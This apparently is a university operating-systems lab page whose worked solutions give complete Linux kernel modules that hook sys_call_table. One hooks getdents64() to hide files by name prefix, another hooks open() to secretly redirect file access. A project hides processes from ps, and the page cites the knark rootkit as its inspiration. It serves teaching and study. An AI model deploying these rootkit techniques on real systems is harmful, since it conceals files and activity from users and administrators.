OSC:Stealth Files

From SOFTICE

Jump to: navigation, search

Contents


Pedagogical Objectives

  • Kernel Data Structures related to file systems management

Developed by:


Synopsis

[Briefing] File Systems Data Structures

Let's start with a look at the relevant fields of the struct task_struct.

  793: /* file system info */
  794:         int link_count, total_link_count;       
  799: /* filesystem information */
  800:         struct fs_struct *fs;
  801: /* open file information */
  802:         struct files_struct *files;
  803: /* namespace */
  804:         struct namespace *namespace;
  836: /* journalling filesystem info */
  837:         void *journal_info;


Locking Concerns

Doing a lookup on struct dentry chains involves a reference-counting scheme. Any other access requires that the caller hold the dcache_lock spinlock.

In general, it is good practice to use the dget() function to retrieve a reference to a struct dentry object, and use dput() to release that reference, even when the operations that are to be performed require dcache_lock; that way, the struct dentry will not disappear mid-operation.


[Solved] Hiding a file by overriding getdents64()

(Implementor's note: The UML systems we are developing use Large File Support, so getdents64() is used in lieu of getdents(). The two system calls are effectively the same save for the ability to handle very large (> 2GiB) files. Use strace to determine which is in use for your system.)

Processes use the readdir() library call to determine which files are available within a directory. readdir() uses the getdents64() system call to retrieve this information from the kernel.

To hide a file with a name that meets a specific pattern from a user, we can override getdents64(), simply refusing to return records for any files with names that meet the criterion. (This example hides all filenames that begin with the characters "$sys$".)

As we are overriding another system call, we can reuse the skeleton code from Lab 1.

The first section is all boilerplate, coming directly from earlier labs, with the exception of including <linux/dirent.h>.

/*
 * Written by Benjamin Geiger, SOFTICE Project
 * (c) 2006 SOFTICE Project
 * 
 * Portions copyright (C) 2001 by Peter Jay Salzman 
 * From the Linux Kernel Module Programming Guide (2.6):
 * http://www.tldp.org/LDP/lkmpg/2.6/html/lkmpg.html
 * File: "syscall.c"
 */

#include <linux/kernel.h>	/* Basic kernel routines. */
#include <linux/module.h>	/* Module support routines. */
#include <linux/moduleparam.h>	/* Passing parameters at insmod time. */
#include <linux/unistd.h>	/* Various support routines. */

#include <linux/dirent.h>	/* Directory entry information. */

#include <linux/string.h>	/* Kernel mode string manipulation. */
#include <linux/fs.h>		/* File system support routines. */

/* 
 * For the current (process) structure, we need
 * this to know who the current user is. 
 */
#include <linux/sched.h>
#include <asm/uaccess.h>

/* 
 * System call table.
 */
extern void *sys_call_table[];

We accept two parameters: prefix, which is the filename prefix we want to hide, and uid, the user ID we want to hide those files from.

/*
 * Parameters that the module accepts:
 */

/* "prefix": The prefix for hidden files. */
static char *prefix = "$sys$";
module_param(prefix, charp, 0600);

/* "uid": The user ID to hide the files from. */
static int uid = 7777;
module_param(uid, int, 0600);

/* Declare that the code is under the GPL. */
MODULE_LICENSE("GPL");

For convenience, we create a pair of macros to handle changes to sys_call_table.

/***********************************************************************
 * Important naming convention:
 *
 * The original function handling each syscall is saved as o_<syscall>,
 * and the replacement is named n_<syscall>.  For example, o_getdents64
 * is the original handler for the getdents64() system call, and
 * n_getdents64 is the replacement we write.
 ***********************************************************************/

/* Utility macros. */

#define REPLACE_SYSCALL(call) \
	do { \
		o_ ## call = sys_call_table[__NR_ ## call]; \
		sys_call_table[__NR_ ## call] = n_ ## call; \
	} while (0)

#define RESTORE_SYSCALL(call) \
	do { \
		sys_call_table[__NR_ ## call] = o_ ## call; \
	} while (0)

Here is the meat of the code: the replacement getdents64().

/*
 * A pointer to the original system call.
 */
asmlinkage int (*o_getdents64) (unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count);

/*
 * Our replacement for the getdents64() system call. */
asmlinkage int n_getdents64(unsigned int fd, struct linux_dirent64 __user * dirent, unsigned int count)
{
        int i, j, tmp, uncopied, retval;
        unsigned char *oldents, *newents;
        struct linux_dirent64 *ent;

The first step is to call the original function, so we can determine what's in the requested directory.

        /* Call the original function. */
        retval = o_getdents64(fd, dirent, count);

sys_getdents64() returns a positive number on success, zero on end of directory, and a negative number on failure. If the result is anything but success, or if the UID calling getdents64() is anything other than the one we're hiding things from, we effectively do nothing and pass the results back.

        /* If it's an error, end of directory, or if we're not using
         * our special debugging user, return without modification.
         */
        if ((retval <= 0) || (current->uid != uid)) {
                return retval;
        }

Allocate two byte arrays of size count, and populate one of them (oldents) with the contents of the array being given back to the user. Note that since that array is in user space, we must use copy_from_user() to bring it into kernel space.

        oldents = kmalloc(count, GFP_KERNEL);
        if (oldents == NULL) {
                printk("AIEEE!  Failed to allocate for 'oldents'!\n");
                return -ENOENT;
        }

        newents = kmalloc(count, GFP_KERNEL);
        if (newents == NULL) {
                kfree(oldents);
                printk("AIEEE!  Failed to allocate for 'newents'!\n");
                return -ENOENT;
        }

        uncopied = copy_from_user(oldents, dirent, count);
        if (uncopied != 0) {
                printk("AIEEE!  Could not copy %d bytes into oldents!\n", uncopied);
                return -ENOENT;
        }

This loop removes files we don't want the user to see.

It is not possible to use array indexing of any structure larger than a byte, as the returned records have variable length. Instead, each record contains the total size of that record (d_reclen), and it is our job to keep track of where in the array we are.

        i = 0;
        j = 0;
        while (i < retval) {
                /* Get the position of the current entry. */
                ent = ((void *) oldents) + i;
                /* If the current entry is a hidden file... */
                if (strstr(ent->d_name, prefix) == ent->d_name) {
                        /* ... skip it. */
                        i += ent->d_reclen;
                } else {
                        /* Otherwise, copy d_reclen bytes from oldents to newents. */
                        tmp = ent->d_reclen;
                        while (tmp > 0) {
                                newents[j] = oldents[i];
                                i++; j++; tmp--;
                        }
                }
        }

Now we copy the resulting array back into user space, and return the length of the adjusted array.

        uncopied = copy_to_user(dirent, newents, count);
        if (uncopied != 0) {
                printk("AIEEE!  Could not copy %d bytes into dirent!\n", uncopied);
                return -ENOENT;
        }

        kfree(oldents);
        kfree(newents);

        return j;
}

The rest of the code is effectively boilerplate; its intent was covered in Lab 1.

/* init_module: Put the module into the kernel. */
int init_module()
{
	printk("File pattern hider loading...");

	REPLACE_SYSCALL(getdents64);

	printk(" loaded.\n");

	return 0;
}

/* cleanup_module: Remove the module from the kernel. */
void cleanup_module()
{
	/* 
	 * Return the system calls back to normal
	 */

	RESTORE_SYSCALL(getdents64);
}


[Solved] Mysterious Redirections

(Create a module that redirects all access to one file into another file, for one user.)

This module redirects all access to a file with a specific base name to another file, created by adding a prefix to the base name. This is intended to work with the module written in the previous exercise; if the same prefix is given to both modules, the alternate file will not show up in directory listings.

As before, the first portion is boilerplate. This file must include the memory management headers, however; they are used for userspace memory allocation. (More on this later.)

/*
 * Written by Benjamin Geiger, SOFTICE Project
 * (c) 2006 SOFTICE Project
 * 
 * Portions copyright (C) 2001 by Peter Jay Salzman 
 * From the Linux Kernel Module Programming Guide (2.6):
 * http://www.tldp.org/LDP/lkmpg/2.6/html/lkmpg.html
 * File: "syscall.c"
 */

#include <linux/kernel.h>	/* Basic kernel routines. */
#include <linux/module.h>	/* Module support routines. */
#include <linux/moduleparam.h>	/* Passing parameters at insmod time. */
#include <linux/unistd.h>	/* Various support routines. */

#include <linux/dirent.h>	/* Directory entry information. */
#include <linux/mm.h>
#include <asm/mman.h>

#include <linux/string.h>	/* Kernel mode string manipulation. */
#include <linux/fs.h>		/* File system support routines. */

/* 
 * For the current (process) structure, we need
 * this to know who the current user is. 
 */
#include <linux/sched.h>
#include <asm/uaccess.h>

/* 
 * System call table.
 */
extern void *sys_call_table[];

The same parameters are accepted, with one addition: it takes a specific filename to redirect access to.

/*
 * Parameters that the module accepts:
 */

/* "prefix": The prefix used to hide files. */
static char *prefix = "$sys$";
module_param(prefix, charp, 0600);

/* "hiddenfile": The filename to redirect access to. */
static char *hiddenfile = "hideme";
module_param(hiddenfile, charp, 0600);

/* "uid": The user ID to hide the files from. */
static int uid = 7777;
module_param(uid, int, 0600);

/* Declare that the code is under the GPL. */
MODULE_LICENSE("GPL");

Declare the same syscall loading macros as defined in the previous exercise:

/***********************************************************************
 * Important naming convention:
 *
 * The original function handling each syscall is saved as o_<syscall>,
 * and the replacement is named n_<syscall>.  For example, o_getdents64
 * is the original handler for the getdents64() system call, and
 * n_getdents64 is the replacement we write.
 ***********************************************************************/

/* Utility macros. */

#define REPLACE_SYSCALL(call) \
	do { \
		o_ ## call = sys_call_table[__NR_ ## call]; \
		sys_call_table[__NR_ ## call] = n_ ## call; \
	} while (0)

#define RESTORE_SYSCALL(call) \
	do { \
		sys_call_table[__NR_ ## call] = o_ ## call; \
	} while (0)

This is deep magic: sys_open() requires a pointer to userspace memory for its first argument. We cannot reuse the same memory passed to us, as it is declared const (and in fact may be a string literal), so we must find a way to allocate memory in userspace.

You are not expected to understand this. (More to the point, this is likely beyond the capabilities of the students, unless niceties such as locking have already been covered. These functions should probably be given to the students verbatim.)

/* Utility functions. */

void *
alloc_userspace (struct mm_struct *mm, int size)
{
	void *error = NULL;

	down_write(&mm->mmap_sem);
	error = (void *) do_mmap_pgoff(NULL, 0, size,
				       PROT_READ | PROT_WRITE,
				       MAP_PRIVATE | MAP_ANONYMOUS,
				       0);
	up_write(&mm->mmap_sem);

	return error;
}

int
free_userspace (struct mm_struct *mm, void *ptr, int size)
{
	int error;
	
	down_write(&mm->mmap_sem);
	error = do_munmap(mm, (unsigned long) ptr, size);
	up_write(&mm->mmap_sem);

	return error;
}

Replace the open() system call.

asmlinkage long (*o_open) (const char __user *filename, int flags, int mode);

asmlinkage long
n_open (const char __user *filename, int flags, int mode)
{
	char *base;
	char *name;
	char *path;
	char *newname;

	long retval;
	
	name = getname(filename);

Retrieving the basename from the filename passed in requires some minor C-string-fu. I'm sure there are easier (and less elegant) ways to do it, but this is the first that leapt to mind.

	/* Split the passed name into two parts: the path and the name */
	base = strrchr(name, '/');
	if (base == NULL) {
		/* it's all basename */
		base = name;
		path = NULL;
	} else {
		/* there's a path, so split */
		base[0] = '\0';
		base++;
		path = name;
	}

Determining the basename has to be done before checking the name, as the name parameter specifies only the basename.

	/* If not the right user or the right file, pass the buck. */
	if ((current->uid != uid) || (strcmp(base, hiddenfile) != 0)) {
		putname(name);
		return o_open(filename, flags, mode);
	}

Given the parts we've already determined, recombine them into a new filename (adding the prefix before the basename).

	/* Space to construct the new filename. */
	if (path == NULL) {
		newname = kmalloc(strlen(prefix) + strlen(base) + 2, GFP_KERNEL);
	} else {
		newname = kmalloc(strlen(path) + strlen(prefix) + strlen(base) + 2, GFP_KERNEL);
	}
	newname[0] = 0;

	if (path != NULL) {
		strcat(newname, path);
		strcat(newname, "/");
	}
	strcat(newname, prefix);
	strcat(newname, base);

Now that we have a modified filename, we need to put it into userspace. To that end, we allocate RAM from userspace and copy the data into it.

	/* path is either NULL or points to the same thing as name, so
	   no leak here. */
	path = alloc_userspace(current->mm, strlen(newname) + 1);
	if (path == NULL) {
		printk(KERN_DEBUG "AIEEE! NO RAM!\n");
		return -ENOMEM;
	}
	copy_to_user(path, newname, strlen(newname) + 1);

Now that we have the modified filename in userspace, we finally call the original sys_open().

	/* Open the altered file */
	retval = o_open(path, flags, mode);

And, to be good citizens, we clean up after ourselves (remember, the kernel doesn't exit, so it doesn't reclaim garbage...).

	/* Clean up after ourselves */
	free_userspace(current->mm, path, strlen(newname) + 1);
	kfree(newname);
	putname(name);

	return retval;
}

Boilerplate again, same as the prior example.

/* init_module: Put the module into the kernel. */
int init_module()
{
	printk("File redirector loading...");

	REPLACE_SYSCALL(open);

	printk(" loaded.\n");

	return 0;
}

/* cleanup_module: Remove the module from the kernel. */
void cleanup_module()
{
	/* 
	 * Return the system calls back to normal 
	 */

	RESTORE_SYSCALL(open);
}


[Exercises] Filesystem Exploration

Exercise 03-1: File Access Spy

When a file is successfully opened by a specific user, print the absolute pathname to the console.

  • This will likely require the d_path() function.
  • Question: What is printed when the user opens a file with multiple hard links? What is printed when the user opens a symbolic link? How does this relate to the concept of a dentry?
  • Question: Why are so many files listed on login or during operations? Why are files opened even when the command is not intended to manipulate files?


[Projects]

Project 03-1: Kernel Links

Prevent processes with a specific executable name from showing up in ps, by preventing their directories from showing up in /proc.

To do so, it will be necessary to attempt to open, under each directory with an all-numeric name, the file stat, which contains much information about the process (but most notably its name). Alternatively, it may be possible to use find_task_by_pid() after converting the directory name to an integer.

  • Note: sscanf() is available within the kernel, in <linux/string.h>.

References

  • Annotated source code for the knark rootkit (version adapted to kernel series 2.4.x) which served as inspiration for these Labs.


References (Textbooks)

[NUTT] Operating Systems, 3/e


[STALL] Operating Systems, Internals and Design Principles


[SILB] Operating System Concepts with Java

  • http://os-book.com/
  • Abraham Silberschatz, Peter Baer Galvin, Greg Gagne
  • Wiley, ISBN: 978-0-471-76907-1
  • Chapter(s): #3 (Processes)


[DEIT] Operating Systems

  • Deitel, ISBN: 0131828274
  • Chapter(s): #10 (File Systems Interface) , #11 (File Systems Implementation)